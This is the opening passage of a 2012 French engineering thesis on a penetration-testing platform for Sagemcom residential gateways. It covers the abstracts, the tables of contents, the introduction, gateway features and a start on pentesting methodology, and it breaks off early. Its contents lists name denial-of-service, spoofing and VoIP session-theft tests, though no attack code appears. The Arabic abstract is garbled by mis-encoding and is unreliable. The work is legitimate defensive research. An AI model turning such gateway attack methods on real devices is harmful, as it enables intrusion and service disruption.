Ministère de l’Enseignement Supérieur et de la Recherche Scientifique    Université de Carthage    Institut National des Sciences

Appliquées et de Technologie

Projet de Fin d’Etudes
Pour l’obtention du Diplôme National d’Ingénieur en Sciences Appliquées et en Technologie

Filière : Réseaux informatiques et télécommunications Sujet :

Mise en place d’une solution de tests de sécurité pour les passerelles résidentielles
Réalisé par : Salmen HITANA
Entreprise d’accueil :

Soutenu le 25/01/2012

Responsables entreprise : Raouf BEN SAÏD Dorra BEN AMARA Responsable INSAT: Kamel KAROUI Année Universitaire : 2011/2012

‫إنشاء برمجية إختبارات السالمة المعلوماتية للعبارات المنزلية‬ ‫ملخص: ٌُذرج هذا انعًم انذي أَجش فً شزكت سجاو كىو ضًٍ يشزوع خخى انذراساث انجايعٍت نهحصىل عهى شهادة‬ ‫يهُذص فً انشبكاث اإلعاليٍت واإلحصاالث. وٌهذف هذا انًشزوع إنى وضع يجًىعت يٍ إخخباراث انساليت انًعهىياحٍت‬ ‫انخً حهذف إنى انخأكذ يٍ يقاويت انجسىر انًُشنٍت نههجًاث انًحخًهت يٍ قبم قزاصُت االَخزَج (أو انهاكزس). إٌ يىقع‬ ‫انجسز انًُشنً فً انشبكاث وانذي ًٌثم َقطت وصم بٍٍ انشبكاث انخارجٍت (االَخزَج) وانشبكت انذاخهٍت فً انًُشل، ٌجعهه‬ ،‫، خذيت انهاحف عبز االَخزَج‬UPnP ،‫يعزض نهكثٍز يٍ هجًاث انهاكزس عهى جًٍع انًحاور: انشبكت انسهكٍت و انالسهكٍت‬ .‫واجهاث انًسخخذو نخحكى. اإلخخباراث سٍخى حجزبخها عهى يجًىعت يٍ انعباراث انًُشنٍت نهخأكذ يٍ فاعهٍخها‬ ‫المفاتيح: انساليت انًعهىياحٍت، انعباراث انًُشنٍت، انهاكزس، هجًت، ثغزة‬ Mise en place d’une solution de tests de sécurité pour les passerelles résidentielles Résumé: Le présent travail, effectué au sein de l’entreprise "SagemCom", entre dans le cadre du projet de fin d’études pour l’obtention du diplôme national d’ingénieur en Réseau Informatique et Télécommunication. L’objectif de ce projet est la mise en place d’une solution de tests de sécurité pour les terminaux résidentiels. Ces terminaux sont le cœur même de tout réseau particulier ou professionnel. Conscient du fait que les passerelles sont hautement exposées aux risques liés à la sécurité informatique, ce plan va couvrir des scénarios envisageables et toucher à toutes les fonctionnalités de la passerelle (accès réseau, Wifi, UPnP, VoIP, IHM). Ces tests seront finalement lancés sur une panoplie de produits SagemCom (différents types des TRs) permettant de valider la pertinence de l’environnement de test proposé. Mots-clés : terminaux résidentiels, sécurité, pentesting, exploits, failles

Set up of a security test plan for residential gateways Abstract: This work, done within the company "Sagemcom" is part of the project for obtaining Computer and Network Engineer Telecommunication National Graduation. The objective of this project is the establishment of a security testing solution for residential terminals. These terminals are the heart of any particular or professional network. Aware that the bridges are highly exposed to risks related to computer security, a test plan will cover possible scenarios and touch all functionality of the gateway (network access, WiFi, UPnP, VoIP, IHM). These tests will eventually be launched on a wide range of Sagemcom products to validate the proposed test environment. Key Word: Gateway, Security, hacking, pentesting, vulnerability Intitule et adresse complète de l’entreprise : Entreprise : SagemCom Adresse : 34, avenue de Paris, 2033 Megrine, Ben Arous, Tunisie Tél. : +216 71 297 100 Fax : Email : stages-sst@sagemcom.com

Remerciements

A

u terme de ce projet de fin d’études, mes vifs remerciements sont dédiés à tous ceux qui ont contribué, directement ou indirectement à l’élaboration

de ce projet.

En premier lieu, j’exprime ma gratitude au Docteur Kamel KAROUI pour sa confiance, ses directives, ses conseils et pour m’avoir accordé son temps.

Je voudrais également exprimer ma reconnaissance envers M. Raouf BEN SAÏD et Mlle. Dorra BEN AMARA qui m’ ont

encadré pendant ce projet avec beaucoup de disponibilité.

Je voudrais témoigner par la suite ma reconnaissance à toutes les personnes qui m’ont également fait bénéficier de leurs conseils et de leurs expériences en particulier M. Zied TLILI, ingénieur validation chez SagemCom.

Toutefois, il faut souligner que ce travail n’aurait pu voir le jour sans le savoir faire acquis dans mon honorable institut l’Institut National des Sciences Appliquées et de Technologie. C’est donc avec une immense fierté que j’adresse mes remerciements les plus distingués à tous mes enseignants.

Table des Matières

................................................................................................................... 1 ...................................................................................................... 4 1.PRESENTATION DE L’ORGANISME D’ACCUEIL ............................................................ 4
1.1.SagemCom Tunisie .......................................................................................................................... 5 1.2.Sagemcom Software & Technologies ............................................................................................. 5

2.PRESENTATION DU PROJET ............................................................................................. 6
2.1.Contexte du projet............................................................................................................................ 6 2.2.Objectifs du projet ........................................................................................................................... 7 2.3.Planification du déroulement du projet ........................................................................................ 7

CONCLUSION ............................................................................................................................ 8 ............................................................................................................. 9 1.LES TERMINAUX RESIDENTIELS ..................................................................................... 9
1.1.Présentation des Terminaux Résidentiels: .................................................................................... 9 1.2.Les TRs SagemCom ........................................................................................................................ 10 1.2.1.Accès internet haut débit...................................................................................................... 10 1.2.2.Téléphonie ............................................................................................................................. 10 1.2.3.TV sur IP ................................................................................................................................. 11 1.2.4.Connectivité ........................................................................................................................... 11 1.2.5.Autres utilitaires et services ................................................................................................ 12

2.TESTS DE PENETRATION (PENTESTING) ...................................................................14
2.1.Présentation du pentesting .......................................................................................................... 14 2.2.Types du « Pentesting » ................................................................................................................. 14 2.3.Pentesting : Méthodologie et standard ........................................................................................ 15 2.3.1.OSSTMM .................................................................................................................................. 15 2.3.2.OWASP .................................................................................................................................... 16 2.3.3.Autres standards et méthodologies: ................................................................................... 17

CONCLUSION ..........................................................................................................................17 ..............19 1.MODULE RESEAU...............................................................................................................20
1.1.Ports, services et OS ....................................................................................................................... 20 1.1.1.Scan des ports ........................................................................................................................ 21 1.1.2.Scan des services ................................................................................................................... 25 1.1.3.Détection d’OS ....................................................................................................................... 26

Page i

Table des Matières
1.1.4.Outils de scan des ports ........................................................................................................ 26 1.2.Scan des vulnérabilités ................................................................................................................. 27 1.2.1.Types de scan des vulnérabilités ......................................................................................... 28 1.2.2.Outils de scan des vulnérabilités ......................................................................................... 29 1.3.Exploits et autres types d’attaques .............................................................................................. 33 1.3.1.Exploits ................................................................................................................................... 33 1.3.2.Autres types d’attaques ........................................................................................................ 33

2.MODULE UPNP ...................................................................................................................34
2.1.Présentation................................................................................................................................... 34 2.2.Risques et vulnérabilités ............................................................................................................... 35 2.3.Outils de tests ................................................................................................................................. 37

3.MODULE WIFI.....................................................................................................................38
3.1.Présentation................................................................................................................................... 38 3.2.Risques et vulnérabilités ............................................................................................................... 39 3.3.Outils de tests ................................................................................................................................. 40

4.MODULE VOIP ....................................................................................................................41
4.1.Présentation................................................................................................................................... 41 4.2.Protocole VoIP................................................................................................................................ 41 4.3.Risques et vulnérabilités ............................................................................................................... 43 4.4.Outils de tests ................................................................................................................................. 44

CONCLUSION ..........................................................................................................................45

.........................................................................................46 1.ENVIRONNEMENT DE TEST ............................................................................................47
1.1.Environnement matériel ............................................................................................................... 47 1.2.Environnement logiciel ................................................................................................................. 47 1.2.1.Les systèmes d’exploitation dédiés sécurité ...................................................................... 47 1.2.2.Choix du système d’exploitation le plus adéquat .............................................................. 48 1.3.Architecture réseau de la plateforme de tests............................................................................. 49

2.MODULE RESEAU...............................................................................................................50
2.1.Scan des ports, services et OS........................................................................................................ 50 2.1.1.Outils de tests......................................................................................................................... 50 2.1.2.Tests réalisés ......................................................................................................................... 51 2.1.3.Profils de scan Zenmap ......................................................................................................... 55 2.2.Scan des vulnérabilités ................................................................................................................. 56 2.2.1.Scanneurs des vulnérabilités automatiques ...................................................................... 57 2.2.2.Scanneurs des vulnérabilités Web ...................................................................................... 60

Page ii

Table des Matières
2.3.Attaques et exploits ....................................................................................................................... 62 2.3.1.Outils de tests ........................................................................................................................ 63 2.3.2.Tests réalisés ......................................................................................................................... 63 2.3.3.Anciennes attaques ............................................................................................................... 71

3.MODULE UPNP ...................................................................................................................73
3.1.Présentation des tests ................................................................................................................... 73 3.2.Tests realisés.................................................................................................................................. 73

4.MODULE WIFI.....................................................................................................................75
4.1.Présentation des tests ................................................................................................................... 75 4.2.Tests réalisés.................................................................................................................................. 76

4.MODULE VOIP ....................................................................................................................78
4.1.Présentation des tests ................................................................................................................... 78 4.2.Tests réalisés.................................................................................................................................. 78 4.2.1.Déni de service....................................................................................................................... 78 4.2.2.Vol de session......................................................................................................................... 79

CONCLUSION ..........................................................................................................................80 ...............................................................................81 ...................................................................................................................82 ..............................................................................................................................85
............................................................................................... 88 ............................................................................. 89 ....................................................................... 89 ............................................ 91 ................................................................ 92

Page iii

Liste des Figures

Figure 1 : Logo SagemCom ................................................................................................................4 Figure 2 : Organigramme de SagemCom .............................................................................................5 Figure 3 : Produits SagemCom ............................................................................................................6 Figure 4 : Diagramme de Gantt représentant les principales étapes du projet .......................................8 Figure 5 : Connectivité et services des TRs SagemCom..................................................................... 11 Figure 6 : TCP Scan (sur un port ouvert) ........................................................................................... 22 Figure 7 : SYN Scan (sur un port ouvert) .......................................................................................... 22 Figure 8 : Fin Scan (sur un port ouvert) ............................................................................................. 23 Figure 9 : XMAS Scan (sur un port ouvert) ....................................................................................... 23 Figure 10 : TCP Null Scan (sur un port ouvert) ................................................................................. 23 Figure 11 : Utiliser un port source autorisé pendant le scan ............................................................... 24 Figure 12 : Scan ACK ....................................................................................................................... 24 Figure 13 : Evaluation des resultats ................................................................................................... 32 Figure 14 : Temps d'exécutions du scan ............................................................................................ 32 Figure 15 : Principaux profils UPnP et actions .................................................................................. 35 Figure 16 : Redirection vers une autre adresse locale ......................................................................... 36 Figure 17 : Redirection vers l'adresse locale du TR ........................................................................... 36 Figure 18 : Redirection vers une autre adresse WAN ......................................................................... 37 Figure 19 : Exemple d'appel .............................................................................................................. 43 Figure 20 : Logo BackTrack ............................................................................................................. 48 Figure 21 : Menu BackTrack............................................................................................................. 49 Figure 22 : Architecture réseau de la plateforme de test ..................................................................... 49 Figure 23 : Profil Zenmap ................................................................................................................. 51

Page iv

Liste des Figures
Figure 24 : Résultat d’un simple scan des ports et services ................................................................ 54 Figure 25 : Exemple détection d'OS .................................................................................................. 55 Figure 26 : Page de connexion .......................................................................................................... 58 Figure 27 : Créer profile.................................................................................................................... 58 Figure 28 : Configuration des plugins................................................................................................ 59 Figure 29 : Exemple du résultat ......................................................................................................... 60 Figure 30 : Exemple Fuzzing ............................................................................................................ 61 Figure 31 : Architecture réseau de l'attaque ....................................................................................... 64 Figure 32 : Fenetre XCHAT (Administrateur) ................................................................................... 64 Figure 33 : Interface LOIC ................................................................................................................ 65 Figure 34 : Lancement de l'attaque .................................................................................................... 66 Figure 35 : Capture de trafic lors de l'attaque..................................................................................... 71 Figure 36 : Attaque à base de l’IP Spoofing....................................................................................... 72 Figure 37 : Détection des équipements UPnP sur le réseau ................................................................ 74 Figure 38 : Action AddPortMapping ................................................................................................. 74 Figure 39 : Actions GetSpecificPortMapping et GetGenricPortMapping............................................ 75 Figure 40 : Capture de messages de signalisation (SIP) ..................................................................... 79

Page v

Liste des Tables

Tableau 1 : Règles du pare-feu .......................................................................................................... 12 Tableau 2 : Classification OSSTMM ................................................................................................. 16 Tableau 3 : Etat du port par type du scan et réponse .......................................................................... 25 Tableau 4 : Tableau comparatif des outils de scan ............................................................................. 27 Tableau 5 : Tableau comparatif des scanneurs des vulnérabilités automatiques. ................................. 31 Tableau 6 : Liste des outils et leurs critères. ...................................................................................... 31 Tableau 7 : Requêtes SIP .................................................................................................................. 42 Tableau 8 : Codes de réponses SIP .................................................................................................... 42 Tableau 10 : Tests owasp réalisés ...................................................................................................... 61 Tableau 11 : Liste des tests ............................................................................................................... 88

Page vi

Introduction

C

’est en pleine guerre froide que l’internet est née, est ce pour maintenir les télécommunications opérationnelles et parées à toute épreuve en cas d’une apocalypse des suites de l’exécution des menaces Américano-Russe sur le monde: La grande phobie, était à

l’époque, une attaque nucléaire... Heureusement pour le monde, rien ne fût… En 1969, le réseau internet comptait alors, uniquement quatre machines et était restreint, limité, et bien sur fermé sur le monde extérieur. Avec l’amélioration des équipements et des technologies de communication, l’internet était de moins en moins une innovation réservée à une élite de militaires et de scientifiques et s’ouvrait peu à peu au grand public et ce avec la naissance du premier réseau international à aiguillage de paquets en 1978, l’adoption d’un protocole unique de transport -TCP/IP- en 1983 et du web en 1989 [1] et de la montée de l’intérêt commercial qu’offrait une pareille technologie. C’est ainsi qu’en 1989 que le premier fournisseur d’accès internet via le réseau téléphonique vit le jour : la compagnie Américaine The World avait alors ouvert la voie à une véritable explosion de fournisseurs de services internet partout dans le monde [2] qui proposaient à leurs clients des débits de plus en plus élevés, et ce en jouant sur les technologies d’accès internet, ainsi que des services de plus en plus diversifiés. En effet, l’évolution des technologies de transmission de données telles que l’image et le son ainsi que la multitude d’innovations et d’inventions qui ont vu le jour à l’égard des passerelles résidentielles, des téléphones sur IP, des décodeurs IP, des téléphones intelligents et autres tablettes… tous capable de se connecter au réseaux de données mondial à totalement bouleversé l’expérience des utilisateurs de l’Internet. Ainsi de nos jours, les fournisseurs d’accès internet (FAI) offrent plusieurs services autres que le simple accès à internet dont le fameux Triple Play, qui n’est rien de plus qu’une offre commerciale et dont le succès n’est plus à prouver : plus de vingt millions d’abonnés, rien qu’en France [3]. Cette offre inclut l’accès à internet, la téléphonie sur IP et la télévision numérique sur IP, indépendamment de la technologie de transport utilisée par l’opérateur pour connecter son client au réseau Internet. Pour parvenir à leurs fins, les FAI commercialisent très souvent leurs offres avec une passerelle résidentielle adaptée aux services qu’ils désirent proposer ainsi qu’aux types de technologies qu’ils possèdent pour le bon acheminement et fonctionnement de ces derniers. La

Page 1

Introduction
passerelle en question, sera alors, le véritable cœur de tout le réseau local et la borne de tous les services utilisés par le client final. En fait, la passerelle résidentielle permet de partager la connexion à Internet entre tous les ordinateurs du réseau avec ou sans câbles. Elle permet également de connecter des téléphones et terminaux analogiques pour accéder à des services de téléphonie sur IP (VoIP) et ce via la ligne d’accès (XDSL, FTTH, Câble, etc). De plus, des équipements comme les décodeurs peuvent être connectés à ces terminaux pour offrir des services supplémentaires comme la Télévision et la Vidéo à la Demande (ou ultérieurement la visiophonie). Cette multitude de services proposés et connectés en permanence au réseau Internet pose de plus en plus le problème de la sécurité informatique vu la diversification des services tournant sur la passerelle et sur les différents éléments du réseau local du client ainsi que suite aux constats suivants : la protection des systèmes informatiques, vis-à-vis des menaces planant sur ces derniers suite à leur ouverture sur le monde numérique, est loin d’être parfaite. le nombre d'incidents et de vulnérabilités ne cesse de croître [4]. Cette augmentation n’a malheureusement pas été accompagnée par des contre-mesures adéquates au niveau des particuliers et des entreprises puisque, d’une part, ils n'appliquent pas une politique de sécurité efficace pour protéger leurs systèmes informatiques faute de sensibilisation aux risques encourus et d’autre part, ils sont incapables de suivre le rythme d’apparition des vulnérabilités vu que les mécanismes de sécurité traditionnels sont aujourd’hui, de plus en plus, contournés. Dans un pareil contexte la passerelle résidentielle doit être le premier rempart contre les risques sécuritaires provenant de l’internet. Par conséquent, et dans le souci de construire des équipements dont la sécurité n’est non seulement infaillible mais aussi le plus à jour possible et de les proposer à ces principaux clients, Sagemcom, constructeur de passerelles résidentielles de renommée mondiale et un des principaux fournisseurs des FAI tel que Orange (France, Tunisie) , Bouygues Telecom (France), Deutsch Telekom (Allemagne), TDC ( Danemark) , Bell Canada ( Canada ), etc, se propose de mettre en place une solution de test de sécurité et de pénétrations pour ses terminaux afin de garantir leur bon fonctionnement et leur haute disponibilité face à des attaques connues lors des phases de développement et de validation des produits. Et c’est dans ce cadre, que se situe notre projet de fin d’études, effectué au sein de la société SagemCom qui a pour objectif d’établir l’étude, le benchmarking et la mise en place de plusieurs

Page 2

Introduction
outils d’audit de sécurité ainsi que l’élaboration d’un plan de tests couvrant les principales failles et risques connus. Le présent rapport organisé en quatre chapitres, présente les différentes étapes du déroulement du projet. Dans un premier temps une présentation du contexte du projet illustre notre travail. Le deuxième chapitre est consacré à la présentation des terminaux résidentiels ainsi que les tests de sécurité ou le pentesting. Le troisième chapitre sera réservé à la description des différents modules présents sur les passerelles résidentielles, les risques qui se posent et le benchmarking des outils possibles pour réaliser des tests de pénétration sur celles ci. Finalement, le quatrième chapitre, est consacré à la mise en place de notre solution de tests de sécurité des passerelles résidentielles.

Page 3

Chapitre 1

Contexte du projet

Ce premier chapitre est consacré à la présentation du contexte général du projet. Le travail ayant été réalisé au sein de la société SagemCom, nous commencerons donc, par une présentation générale de l‘organisme d‘accueil. Ensuite, nous entamerons une description de notre projet afin d’expliciter son contexte, son objectif ainsi que les différentes étapes identifiées afin de parfaire notre ce stage.

1. Présentation de l’organisme d’accueil

Figure 1 Logo SagemCom

Groupe français de haute technologie à dimension internationale, Sagemcom opère sur les marchés du haut-débit (maison numérique, décodeurs, box Internet, téléphonie et terminaux

Page 4

Chapitre 1

Contexte du projet

multimédia), des télécoms, de l’énergie (M2M1, infrastructures télécoms, compteurs communicants et management de l’énergie) et de la gestion de documents (terminaux d’impression, logiciels et solutions, dématérialisation). Le groupe Sagemcom est composé d'une soixantaine d'entités, présentes dans plus de 40 pays. En Afrique, la seule entité est implémentée en Tunisie, SagemCom Tunisie et SagemCom Software & Technologies. Ci-dessous l’organigramme de SagemCom :

Figure 2 Organigramme de SagemCom

1.1.

SagemCom Tunisie

SagemCom est une nouvelle unité industrielle offshore, spécialisée dans l’électronique et les équipements de télécommunications. Elle a été officiellement inaugurée le 10 juin 2003 à « Ben Arous ». Cette unité produit essentiellement des récepteurs à télécommande centralisée, des câbles en fibres optiques et des cartes magnétiques (5 millions de cartes par an) et 1,5 million de produits finis. L’unité emploie plus de 1600 personnes dont plus de 270 ingénieurs et techniciens supérieurs. SagemCom est aussi un acteur majeur dans les domaines de la communication mobile et de la communication haut débit, ayant acquis des positions mondiales grâce à un fort potentiel d’innovation.

1.2.

Sagemcom Software & Technologies

Sagem Software et Technologies (SS&T) est un centre de recherche et de développement qui a été créé le 18 juillet 2005. Elle opère dans le domaine des télécommunications, du traitement et de la transmission numérique de l’information et des développements axés sur les technologies émergentes. Cette cellule internationale emploie plus de 350 ingénieurs spécialisés dans :

1

M2M : Le concept de machine to machine, utilise les télécommunications et l'informatique pour permettre des communications entre machines, et ceci sans intervention humaine.

Page 5

Chapitre 1
  

Contexte du projet

La conception et le développement de logiciels pour les décodeurs TV numériques sous Linux embarqué. Le développement des Drivers Windows et des logiciels d’installation des équipements Sagemcom à l’égard des terminaux d’impression. Le test, l’intégration et la validation d’équipements et de systèmes de télécommunications dont les passerelles résidentielles.

Figure 3 Produits SagemCom

2. Présentation du projet
Au cours de cette section, nous présentons le contexte de notre projet et ses objectifs. Le planning du travail est détaillé par la suite.

2.1.

Contexte du projet

Les terminaux résidentiels Sagemcom offrent des solutions à haute connectivité moyennant diverses technologies d’accès et une multitude de services. Ces terminaux sont le cœur même de tout réseau particulier ou professionnel. Conscient du fait que les passerelles sont hautement exposées aux risques liés à la sécurité informatique (le piratage, l’intrusion et l’ingénierie inverse, etc) et afin de proposer des produits hautement sécurisés à ses clients particuliers et professionnels, Sagemcom propose d’élaborer, au sein d’un projet de fin d’études, le benchmarking, l’étude et la mise en place de plusieurs outils de tests de sécurité. Ce projet sera concrétisé par la mise en place d’un plan de test couvrant les principales failles et risques connus se basant sur l’état de l’art actuel. Ainsi que la mise en place des outils choisis, dans une position de test. Un plan de test sera finalement lancé sur une panoplie de produits Sagemcom permettant de valider la pertinence de l’environnement de test proposé. Suite aux résultats obtenus, une analyse objective devra être établie en vue de dégager les points forts et faibles de la solution choisie, ainsi que la pertinence des résultats des tests effectués.

Page 6

Chapitre 1

Contexte du projet

2.2.

Objectifs du projet

Afin d’atteindre l’objectif principal du projet, qui consiste à la mise en place d’une plateforme de tests de sécurité et la définition d’un plan de tests qui couvre la quasi-totalité des failles et vulnérabilités possibles sur les Terminaux résidentiels, il faut assurer les sous-objectifs suivants :   Etablir un état de l’art en matière de piratage, intrusion, rétro ingénierie, etc touchant les principaux axes de connectivités et des services offerts par les passerelles résidentielles. Etablir une liste d’outils libres assurant le déploiement des attaques déterminées par l’état de l’art et par la suite réaliser un comparatif des outils disponibles et se fixer des choix optimums basés sur l’efficacité, la facilité de déploiement, la personnalisation, la popularité, etc.)  Dégager un plan de test clair assurant un test complet des produits sous tests. Ce plan va couvrir jusqu’à 90% des scénarios envisageables et toucher à toutes les fonctionnalités de la passerelle (accès réseau, Wifi, UPnP, VoIP, IHM)  Déployer les outils sur une position de test et les personnaliser pour répondre aux besoins de sécurité soulevés dans les premiers chapitres et assurer une couverture optimale en adéquation avec le plan de tests défini.  Dérouler une campagne de tests, sur au moins trois produits, basé sur le plan de test défini et les outils mis en place. Une analyse des résultats va être établie et une critique objective sera portée sur la plateforme et le plan de test en vue de la raffiner et réajuster, s’il est nécessaire.

2.3.

Planification du déroulement du projet

Ce projet est divisé en cinq parties :      Etape 1 : Documentation sur les passerelles résidentielles (produits Sagemcom) Etape 2 : Etude sur les différents attaques et failles possibles sur les TRs. Etape 3 : Choix d’une liste d’outils assurant les attaques déterminées dans l’état de l’art et la mise en place d’une plateforme de tests de sécurité Etape 4 : Définition d’un plan de test clair qui couvre les services cibles d’attaques et qui assure un audit complet des produits sous tests. Etape 5 : Déroulement d’une campagne basée sur le plan de test défini. En vue de modéliser cette organisation, nous avons eu recours à l’outil de gestion de projet SodeaSoft Gnt Planning (Voir figure 4).

Page 7

Chapitre 1

Contexte du projet

Figure 4 Diagramme de Gantt représentant les principales étapes du projet

Conclusion
Dans ce premier chapitre, nous avons présenté la société SagemCom. Ensuite Nous avons détaillé le cadre du projet, et expliciter la problématique à résoudre. Finalement, nous avons décrit les différentes étapes du projet. Le chapitre suivant sera donc consacré aux notions de base relatives à notre projet, notamment la description des terminaux résidentiels et les notions relatives aux tests de pénétrations ou en terme anglo-saxon le pentesting.

Page 8

Chapitre 2

Concepts de base

Dans ce chapitre, nous entamerons par une description des passerelles résidentielles (ou terminaux résidentiels), de leurs caractéristiques fonctionnelles et de leur importance grandissante dans la vie quotidienne, grâce entre autres à leur rôle dans toute offre d’accès aux services Internet. Par la suite, nous présenterons les tests de pénétrations, en mettant en évidence leur intérêt, vu la haute exposition des passerelles aux risques liés à la sécurité informatique.

1. Les terminaux résidentiels
1.1. Présentation des Terminaux Résidentiels:

Un Terminal résidentiel (TR) ou passerelle est un point du réseau qui agit comme une entrée vers un autre réseau. Dans un réseau d’entreprise ou domestique, les passerelles offrent l’accès aux utilisateurs du réseau local vers le réseau WAN (internet). Une passerelle typique contient des fonctionnalités basiques pour une utilisation simple, ainsi elle offre au moins un ensemble des services suivants:   Accès internet via fibre optique (FTTH) ou ligne xDSL. Réseau local câblé et point d’accès WIFI pour assurer la connectivité entre plusieurs équipements (ordinateur portable, Tablet PC, Smart phone, etc).

Page 9

Chapitre 2

Concepts de base

DHCP (Dynamic Host Configuration Protocol) pour offrir une configuration de réseau TCP/IP fiable et simple, empêchant les conflits d'adresses et permettant le contrôle de l'utilisation des adresses IP de façon centralisée.

 

NAT (Network Address Translation) pour déployer ou héberger des applications et des services au sein d’un réseau local afin de les rendre accessibles de l’extérieur. Firewall pour sécuriser le réseau local des attaques provenant de l’internet.

En plus de ces fonctionnalités basiques, les TRs offrent aussi les services suivants, selon les exigences du fournisseur d’accès internet et de ses abonnés :     Voix sur IP (VoIP). Service TV sur IP. DNS dynamique pour permettre l’accès à distance à un quelconque service hébergé en local par l’utilisateur. UPnP pour interconnecter d’autres équipements tels que les périphériques de stockage, console de jeux, téléphone UPnP, etc.

1.2.

Les TRs SagemCom

Comme étant un leader mondial sur le marché des terminaux, SagemCom conçoit, produit et met à disposition des opérateurs et des fournisseurs de services internet une gamme complète de home Gateway permettant de mettre en œuvre de services d’accès haut débit et de solutions pour le réseau numérique local [5]. Dans ce qui suit, nous allons introduire et décrire les différents modules et fonctionnalités principalement offertes par ces TRs (Voir figure 5).

1.2.1. Accès internet haut débit
Doté d’une interface WAN universel (ADSL / ADSL2 / ADSL2+/VDSL2 et FTTH), les TRs SagemCom permettent à son utilisateur de bénéficier d’un accès internet haut débit atteignant les 100 Mo/s pour exploiter les nouvelles technologies telles que la télévision et la téléphonie via internet etc.

1.2.2. Téléphonie
Les TRs SagemCom implémentent diverses technologies de téléphonie telles que la téléphonie classique, fax compris, et la Voix sur IP. Pour exploiter ces technologies les TRs SagemCom offrent aux utilisateurs la possibilité de connecter plusieurs types d’appareils téléphoniques (IP Phone, DECT, téléphone, Fax).

Page 10

Chapitre 2

Concepts de base

Figure 5 Connectivité et services des TRs SagemCom

1.2.3. TV sur IP
Les TRs SagemCom offrent la possibilité de s’abonner à des flux IP TV. Via une SetTopBox connectée au TR l’utilisateur peut visualiser des flux vidéo soit en multicast soit à la demande (VOD).

1.2.4. Connectivité
Réseau local câblé
Les TRs SagemCom offre une solution complète pour l’interconnexion entre les différents équipements via les interfaces Ethernet disponibles.

Page 11

Chapitre 2 Réseau sans fil (WIFI)

Concepts de base

Les TRs SagemCom offrent la possibilité d’interconnecter les périphériques sans fils via le WIFI. Ces TRs utilisent les trois normes connues du WIFI 802.11 b/g/n avec un débit qui peut atteindre les 300MO/sec.

USB
Afin d’assurer la connectivité des différents équipements multimédia (imprimante, disque dur, console de jeux, etc), les TR SagemCom utilise le protocole UPnP ainsi qu’un serveur DLNA pour le partage de contenus multimédias.

1.2.5. Autres utilitaires et services
DHCP
Le TR SagemCom est à la fois un client DHCP et un serveur DHCP. A la mise sous tension, le TR, comme étant un client DHCP, récupère les paramètres de connexion de son fournisseur d’accès internet tels que l’adresse IP publique, la passerelle par défaut, le serveur DNS, le serveur NTP, etc. Comme étant un serveur DHCP, le TR fournit aux équipements connectés à travers le réseau local (sans fil et câblé) des paramètres de connexion tels que la plage d’adresse à utiliser, la passerelle par défaut, etc.

Firewall
Afin d’assurer la sécurité du réseau local et le protéger des attaques provenant de l’extérieur, les TRs SagemCom implémentent un pare-feu logiciel assurant trois niveaux de sécurité:
Niveau de sécurité Elevé Moyen Bas Trafic entrant rejeter rejeter accepter trafic sortant rejeter accepter accepter remarque pour le trafic sortant, sauf pour les services suivants HTTP, HTTPS, Telnet, FTP, DNS, IMAP, POP3, SMTP. -

Tableau 1 Règles du pare-feu

DMZ
La DMZ ou une zone démilitarisée est un sous-réseau séparé du réseau local et isolé de celuici et d'Internet par un pare-feu. Ce sous-réseau contient les machines étant susceptibles d'être accédées depuis Internet. Les TRs SagemCom offrent ce service d’une façon limitée, où on ne peut configurer qu’un seul PC comme DMZ (une seule adresse IP et non pas un sous réseau).

Page 12

Chapitre 2 Port Forwarding

Concepts de base

Le Port Forwarding ou redirection de port consiste à rediriger les paquets reçus d’un ordinateur sur un port bien défini vers un autre ordinateur sur un autre port donné. Le Port Forwarding est la combinaison de trois techniques :    La translation d’adresse ou/et du port dans les paquets reçues vers une autre destination. L’acceptation des quelques paquets en se basant sur les règles du pare-feu. Le routage des paquets suivant le table de routage.

DNS dynamique
Le DNS dynamique est une méthode qui permet à un utilisateur d’attacher un nom de domaine à une adresse IP WAN (reçue de la part du FAI) sans se préoccuper du changement de cette adresse. Ainsi, on peut héberger un serveur web, ftp ou n’importe quelle autre application internet dans le réseau local et y accéder à travers ce nom de domaine. Cette fonctionnalité est configurable d’une façon très simple, il suffit de choisir le fournisseur de service (no-ip, DynDns.org,…) et de donner le login, le mot de passe et le nom de domaine personnel.

Configuration et approvisionnement automatique de services
La gamme des services offerts par les TRs devient de plus en plus complexe et par conséquent elle impacte la simplicité de la configuration à distance. L’intégration des technologies TR-069 facilite l’installation et l’approvisionnement automatique des services. La configuration et la mise à jour du TR se fait à distance et d’une façon automatique selon le contrat entre l’abonné et son FAI. Cette fonctionnalité est très importante pour les deux parties du contrat pour plusieurs raisons, parmi lesquelles on cite :    La facilité de la tâche de configuration pour l’abonné. L’activation ou la désactivation des services selon le contrat.

Interface d’administration
Interface WEB ou GUI : les TRs SagemCom offre un site web en local pour la configuration. L’accès se fait par un navigateur (Firefox, chrome, etc) en introduisant un login et un mot de passe.   Telnet : Via un PC connecté en local, un utilisateur (avancé) peut accéder au TR à travers Telnet pour l’administrer et le configurer. SSH : un utilisateur peut accéder d’une façon sécurisée avec SSH pour administrer et configurer le TR.

Page 13

Chapitre 2

Concepts de base

2. Tests de pénétration (Pentesting)
Vu que les TRs SagemCom offrent des solutions à haute connectivité à travers ses services, ils sont hautement exposés aux risques liés à la sécurité informatique. Il est indispensable de vérifier leur immunité face à ces risques réels et consistants. Pour cela, on a recours à des normes et des standards dans le domaine de la sécurité informatique afin de remplir cette tâche.

2.1.

Présentation du pentesting

Les tests de pénétration ou « Pentesting » est un ensemble de tests traduisant une méthode d'évaluation de la sécurité d'un système informatique ou réseau en simulant une attaque malicieuse de l’extérieur et les employés malveillants de l’intérieur. Le processus implique une analyse active du système pour toutes les vulnérabilités potentielles qui pourraient résulter de la faiblesse de la configuration du système et des défaillances liées aux défauts connus du hardware ou du software utilisés. Cette analyse est effectuée en simulant un attaquant potentiel et peut dégager des exploitations et des vulnérabilités au sein du système. Les problèmes liés à la sécurité du système révélés à travers les tests de pénétration sont présentés au propriétaire. Afin de réaliser des tests efficaces, le « Pentester » doit fournir des

évaluations précises et concrètes des impacts potentiels à l'organisation et définir la gamme des contremesures techniques et procédurales pour réduire les risques. Les tests de pénétration sont importants pour plusieurs raisons:      Déterminer la faisabilité d'un ensemble d'attaques. Identifier les vulnérabilités à haut risque qui résultent d'une combinaison de quelques vulnérabilités, de faible et de moyen risque, exploitables dans un ordre particulier. Identifier les vulnérabilités qui peuvent être difficiles ou impossibles à détecter avec des outils d’auto-évaluation des vulnérabilités. Évaluer l'ampleur de l'activité opérationnelle et les impacts potentiels d’une ou plusieurs attaques réussies. Tester la robustesse du mécanisme de la sécurité mise en place au sein du système.

2.2.

Types du « Pentesting »

